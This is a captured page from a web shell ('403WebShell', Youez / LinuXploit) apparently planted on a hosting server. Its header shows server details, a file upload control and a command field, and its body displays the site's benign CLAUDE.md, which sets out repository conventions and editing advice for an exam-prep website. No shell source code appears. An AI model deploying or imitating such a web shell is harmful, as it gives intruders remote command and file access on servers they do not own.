Uname:Linux server17213-10344.hostycare.online 5.14.0-687.38.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Aug 12 17:19:12 EDT 2026 x86_64

403WebShell
403Webshell
Server IP : 103.243.232.44  /  Your IP : 216.73.216.237
Web Server : LiteSpeed
System : Linux server17213-10344.hostycare.online 5.14.0-687.38.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Aug 12 17:19:12 EDT 2026 x86_64
User : iamakash ( 1400)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/iamakash/kautuki.co.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/iamakash/kautuki.co.in/CLAUDE.md
# CLAUDE.md

All repository conventions live in one file, so there is nothing to keep in sync:

@AGENTS.md

Read it before touching anything. The rules that get broken most often are: **no build step or
dependencies**, **every section is a question on the exam paper** (`.q.body-cell` + `.marginal` +
`.q-head` + `.marks`), **no edtech marketing language**, and **never commit `leads/*.csv`**.

When a page needs something that already exists elsewhere on the site — a banner, a card, a slider —
**open the page that has it and copy the markup**, don't build a lookalike. A page banner assembled
from scratch shipped without the `.hl` highlighter and with an invented `.fig` box instead of `.art`;
it took three rounds of "the alignment is still wrong" before the real answer turned out to be that it
was never the landing page's component at all. Reading `index.php` first would have cost two minutes.

Two more that cost time in practice: **reuse the existing components** in `exam.css` rather than
writing new ones (`.fmt`, `.kit`, `.arc`, `.steps`, `.ticks`, `.books`, `.notice`, `.scheme`,
`.doubts`, `.rough` cover almost everything, and most are already registered for scroll reveals), and
**check a new section's item count against its grid** — `.kit` is 3 columns and `.arc` is 4, so a
four-item `.kit` strands one card until you give it `.kit.four`.

## Working in this repo with Claude Code

- **Windows host, CRLF files.** Every `.php`, `.html`, `.css` and `.js` file here is UTF-8 with CRLF
  line endings. Multi-line `sed`/`perl` patterns that match on `\n` will silently find nothing — use
  `\r?\n` to match and write `\r\n` back, or use the Edit tool, which preserves endings on its own.
- **Anchor every regex you delete CSS with, and count braces afterwards.** An unanchored
  `/  \.slide \.fig \{.*?\n  \}/s` matched a *four*-space-indented rule inside a media query (its two
  leading spaces matched mid-line), then ran lazily to the block's closing brace and removed most of
  the phone layout — `.body-cell` padding, the margin-rule suppression, the whole compact header.
  Anchor with `^`, prefer the Edit tool for single rules, and after any bulk CSS edit check
  `substr_count($s,"{") === substr_count($s,"}")` and diff the removed lines before moving on.
  `git show HEAD:assets/exam.css` is the way back — but it returns LF, so re-apply CRLF after.
- **Verify before claiming.** PHP may not be on PATH, so `php -l` and `php -S` can be unavailable. A
  WampServer install usually has one anyway, at `C:\wamp64\bin\php\php8.3.28\php.exe`. If you could not
  actually render a page, say the change is unverified rather than implying you saw it.
- **You cannot see the page.** Structural checks — status codes, link sweeps, parsing the served HTML
  for unclosed tags or duplicate attributes — catch a lot and are worth running. What they will not
  catch is layout: text overflowing a card, a grid stranding one item on its own row, a heading that
  wraps to two lines and knocks a row out of alignment. Reason about the CSS by all means, but do not
  report a layout as correct on arithmetic alone. Say what you checked, say you have not seen it
  rendered, and ask for a screenshot when the answer depends on how type actually reflows.
- **Auditing responsiveness without a browser** is still worth doing, and this is the order that
  works: list every `grid-template-columns` and check each against the media queries; confirm each
  `auto-fit` grid carries the `min(NNNpx, 100%)` guard; measure every `white-space: nowrap` string
  against ~284px of content width at 320px; check flex rows that lack `flex-wrap` (icon-plus-text
  pairs are fine — the text child wraps); confirm images are fluid. That sweep found two genuine
  overflows the arithmetic-free eye had missed. It is not a substitute for looking.
- **Copy edits ripple.** A fee, a percentage or a promise usually appears on three or four pages plus
  the FAQ and the comparison table. After changing one, grep for the old wording across `*.php` and
  `*.html` (excluding `index-old.html` and `v2/`) and report anything you deliberately left alone.
- **Headings ripple too.** Before titling a new section, grep the existing `<h2>`s — `index.php#why` is
  already "Why Kautuki exists.", and a second page arguing the same thing under the same heading is
  worse than either page alone. Cross-link instead of restating.
- **Renaming a page means finding every link.** `contact.html` had eight references across seven files
  (both partials, three legacy pages, the sitemap, another page's body copy). Grep for the old
  filename across `*.php`, `*.xml` and `.htaccess` — not just the nav. And delete the old `.html`:
  the rewrite tries `.html` before `.php`, so a leftover file silently shadows the new page and you
  will swear the change didn't deploy.
- **Asset paths in the partials are absolute on purpose** (`/assets/…`, `/logo/…`, `/api/lead.php`).
  `404.php` is served for any URL, so relative paths would break the error page at any depth. Don't
  "tidy" them back to relative.
- **Leave the dead files alone.** `index-old.html` and `v2/index.html` are abandoned designs. They are
  excluded from deploy and must not be updated to match a live page.
- **Branch and commit.** `main` deploys on push — never commit straight to it. Branch, and only commit
  or push when asked.

Youez - 2016 - github.com/yon3zu
LinuXploit